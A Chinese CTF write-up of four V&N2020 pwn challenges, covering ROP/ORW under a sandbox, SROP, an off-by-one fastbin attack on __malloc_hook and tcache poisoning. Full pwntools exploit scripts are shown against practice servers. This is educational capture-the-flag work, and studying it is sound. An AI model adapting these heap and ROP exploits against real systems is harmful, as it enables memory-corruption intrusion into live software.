V&N2020公开赛WP
Time: 2020-03-19 Tags: WritesupLink: V&N2020公开赛WP
综述
这次的pwn题由南梦师傅出题。据说都是些基本题目,但是由于本人知识浅薄,导致过去了3个多星期才能够复现出来。自己的学习进度很慢,而且很急于求成。有时候比较迷茫,像只离群之燕一样。
warmup
保护机制:
$ file vn_pwn_warmup
vn_pwn_warmup: ELF 64-bit LSB shared object, sx86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=255a432e6dafd060631123864b56da27320e4c04, stripped
$ checksec vn_pwn_warmup
[*] '/mnt/e/wsl/vn_pwn_warmup'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
看见那个绿色的、绿得扎眼的PIE enabled,我心凉了半截。对于栈溢出的题目,我从来就没有做过开了PIE的题目,所以到这里已经慌成了傻子,气冲头顶,面色血红,上厕所到一半都快便秘了,直接放弃。
赛后学习一波:
puts("This is a easy challange for you.");
printf("Here is my gift: 0x%llx\n", &puts);
这里给了puts_got,相当于直接把libc基址给了,libc基本可用了。
紧接着给了一个神奇的函数,貌似是开了沙盒,不能用execve和system。
return prctl(
22,
2LL,
&v1,
*(_QWORD *)&v1,
&v3,
*(_QWORD *)&v3,
*(_QWORD *)&v7,
32LL,
*(_QWORD *)&v14,
*(_QWORD *)&v18,
*(_QWORD *)&v22,
*(_QWORD *)&v26,
*(unsigned int *)&v30,
*(_QWORD *)&v34,
*(_QWORD *)&v38,
*(_QWORD *)&v42,
6LL);
}
紧接着是两个read:
int sub_9D3()
{
char buf; // [rsp+0h] [rbp-180h]
printf("Input something: ");
read(0, &buf, 0x180uLL);
sub_9A1();
return puts("Done!");
}
ssize_t sub_9A1()
{
char buf; // [rsp+0h] [rbp-70h]
printf("What's your name?");
return read(0, &buf, 0x80uLL);
}
两个函数的栈相邻,在sub_9D3里面构造rop链,到sub_9A1把返回地址覆盖为ret,继而能执行sub_9D3栈中的rop链。
open(flag),向libc的bss段里面写入flag再write出来。看大佬们的博客,明白这叫orw(open read write)攻击。
#!/usr/bin/env python
from pwn import *
from time import sleep
def pwn():
io = remote('node3.buuoj.cn',29218)
context.log_level = 'debug'
libc = ELF('x64-libc-2.23.so')
io.recvuntil('gift: ')
puts_got = int(io.recv()[2:14],16)
print '[*] puts_address = ' + hex(puts_got)
offset = puts_got - libc.sym['puts']
print '[*] offset = ' + hex(offset)
rdi = offset + 0x21102
rsi = 0x202e8 + offset
rdx = 0x1b92 + offset
ret = offset + 0x937
read_add = libc.sym['read'] + offset
open_add = libc.sym['open'] + offset
write_add = libc.sym['write'] + offset
bss = offset + 0x3c6500
payload = p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_add) #read(0,buf,100)
payload += p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_add) #open('/flag',0)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_add) #read(3,buf,100)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(write_add) #write(1,buf,100)
io.sendline(payload)
io.recvuntil('name?')
payload = 'a'*0x70 + p64(0xdeadbeef) +p64(ret)
io.send(payload)
io.sendline('/flag\x00')
io.interactive()
if __name__ == "__main__":
pwn()
《常规题》,名不虚传。
babybabypwn
这题跟上一道题大同小异。
read(0, &buf, 0x100uLL);
syscall(15LL, &buf);
给了一个sigreturn,构造一次SROP(read)然后用上一题的payload。
#!/usr/bin/env python
from pwn import *
def pwn():
io = remote('node3.buuoj.cn',25818)
context(log_level='debug',arch='amd64',os='linux')
elf = ELF('./vn_pwn_babybabypwn_1')
libc = ELF('x64-libc-2.23.so')
io.recvuntil('gift: 0x')
leak = int(io.recv(12),16)
print '[*] leak address :' + hex(leak)
offset = leak - libc.sym['puts']
print '[*] offset :'+hex(offset)
rdi = offset + 0x21102
rsi = 0x202e8 + offset
rdx = 0x1b92 + offset
ret = offset + 0x937
bss = offset + libc.bss()
open_add = libc.sym['open'] + offset
read_add = libc.sym['read']+offset
write_add = libc.sym['write']+offset
syscall = offset + 0x00000000000bc375
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x200
frame.rsp = bss
frame.rip = syscall
payload = str(frame)[0x8:]
io.recvuntil('message: ')
io.send(payload)
# read(0,bss,0x60)
payload = p64(rdi) + p64(0) + p64(rsi) + p64(bss) +p64(rdx) + p64(0x60) + p64(read_add)
# open('/flag',0)
payload += p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_add)
payload += p64(rdi) + p64(0x3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x60)+ p64(read_add)
# read(3,bss,0x100)
payload += p64(rdi) + p64(0x1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x60)+ p64(write_add)
# write(1,bss,0x100)
io.send(payload)
io.sendline('flag\x00')
io.interactive()
if __name__ == "__main__":
pwn()
simpleHeap
[*] '/home/surgaer/work/vn_pwn_simpleHeap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位ubuntu16,保护全开。
signed int sub_AFF()
{
signed int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]
v1 = sub_AB2();
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = sub_9EA();
v2 = result;
if ( result > 0 && result <= 111 )
{
qword_2020A0[v1] = malloc(result);
if ( !qword_2020A0[v1] )
{
puts("Something Wrong!");
exit(-1);
}
dword_202060[v1] = v2;
printf("content:");
read(0, qword_2020A0[v1], dword_202060[v1]);
result = puts("Done!");
}
return result;
}
常规输入,输入有检测,无法控制输入字节。
sub_C39((__int64)qword_2020A0[v1], dword_202060[v1]);
__int64 __fastcall sub_C39(__int64 a1, int a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i > a2 )
break;
if ( !read(0, (void *)(i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)(i + a1) == '\n' )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
edit中的诡异函数,i > a2造成off-by-one。
free(qword_2020A0[v1]);
qword_2020A0[v1] = 0LL;
dword_202060[v1] = 0;
free清零。
思路:
- off-by-one改size,free一个进unsortedbin得到libc基址。
- fastbin attack劫持__malloc_hook。
- realloc调整栈帧。
from pwn import *
#io = process('./vn_pwn_simpleHeap')
io = remote('node3.buuoj.cn',25162)
elf = ELF('./vn_pwn_simpleHeap')
libc = ELF('./x64-libc-2.23.so')
context.log_level = 'debug'
def add(size,con):
io.sendlineafter('choice: ','1')
io.sendlineafter('size?',str(size))
io.sendafter('content:',con)
def free(idx):
io.sendlineafter('choice: ','4')
io.sendlineafter('idx?',str(idx))
def edit(idx,con):
io.sendlineafter('choice: ','2')
io.sendlineafter('idx?',str(idx))
io.sendafter('content:',con)
def show(idx):
io.sendlineafter('choice: ','3')
io.sendlineafter('idx?',str(idx))
def logs(x):
log.success(hex(x))
def debug():
gdb.attach(io)
pause()
add(0x28,'\n')#0
add(0x68,'\n')#1
add(0x68,'\n')#2
add(0x20,'\n')#3
payload = '\x00'*0x28 +'\xe1'
edit(0,payload)
free(1)
add(0x68,'\n')
show(2)
main_arena = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base = main_arena - libc.sym['__malloc_hook']-0x10
malloc_hook = libc_base + libc.sym['__malloc_hook']
logs(libc_base)
realloc = libc_base + libc.sym['__libc_realloc']+0xc
one = libc_base + 0x4526a
add(0x60,'\n')#4
free(3)
free(2)
payload = p64(malloc_hook-0x23)+'\n'
edit(4,payload)
add(0x60,'\n')
add(0x60,'\x00'*(0x13-8)+p64(one)+p64(realloc)+'\n')
io.sendlineafter('choice: ','1')
io.sendlineafter('size?','32')
io.interactive()
easyTHeap
v1 = sub_AB2();
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = sub_9EA();
v2 = result;
if ( result > 0 && result <= 256 )
{
qword_202080[v1] = malloc(result);
if ( !qword_202080[v1] )
{
puts("Something Wrong!");
exit(-1);
}
dword_202060[v1] = v2;
result = puts("Done!");
}
return result;
free的时候虚幻一枪,size清零。
free((void *)qword_202080[v1]);
dword_202060[v1] = 0;
仍然可以show:
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
exit(0);
puts((const char *)qword_202080[v1]);
return puts("Done!");
思路:
- 先malloc一个chunk,doublefree得到此chunk地址,计算到tcache structure的地址。
- 改tcache structure,使后续tcache直接进unsortedbin,得到libc基址。
- 继续改tcache structure,使chunk直接分配到malloc_hook,改malloc_hook用realloc调整栈帧。
from pwn import *
from time import sleep
#io = remote('node3.buuoj.cn',25741)
io = process('./vn_pwn_easyTHeap')
elf = ELF('./vn_pwn_easyTHeap')
libc = ELF('./x64-libc-2.27.so')
def debug():
gdb.attach(io)
pause()
def add(size):
io.sendlineafter('choice: ','1')
io.sendlineafter('size?',str(size))
def edit(idx,con):
io.sendlineafter('choice: ','2')
io.sendlineafter('idx?',str(idx))
io.sendafter(':',con)
def show(idx):
io.sendlineafter('choice: ','3')
io.sendlineafter('idx?',str(idx))
def free(idx):
io.sendlineafter('choice: ','4')
io.sendlineafter('idx?',str(idx))
add(0x50)#1
free(0)
free(0)
show(0)
heap = u64(io.recvuntil('\n',drop=True).ljust(8,'\x00'))
add(0x50)#1
edit(1,p64(heap-0x250))
add(0x50)#2
add(0x50)#3
edit(3,'\xff'*0x38)
free(3)
show(3)
leak = u64(io.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
log.success('libc_base:'+hex(libc_base))
malloc_hook = libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook:'+hex(malloc_hook))
realloc = libc_base+libc.sym['__libc_realloc']
one = libc_base + 0x4f322
add(0x50)#4
edit(4,'\x00'*0x48+p64(malloc_hook-0x13))
add(0x20)#5
edit(5,'\x00'*(0x13-8)+p64(one)+p64(realloc+8))
add(0x10)
sleep(0.2)
io.sendline('cat flag')
io.interactive()
总结
- 把常规基础题目做好,归纳总结方法。
- 当一个事情看起来很难的时候,每临绝境峰回路转,真正去做的时候才
是真的难可以悟到真理。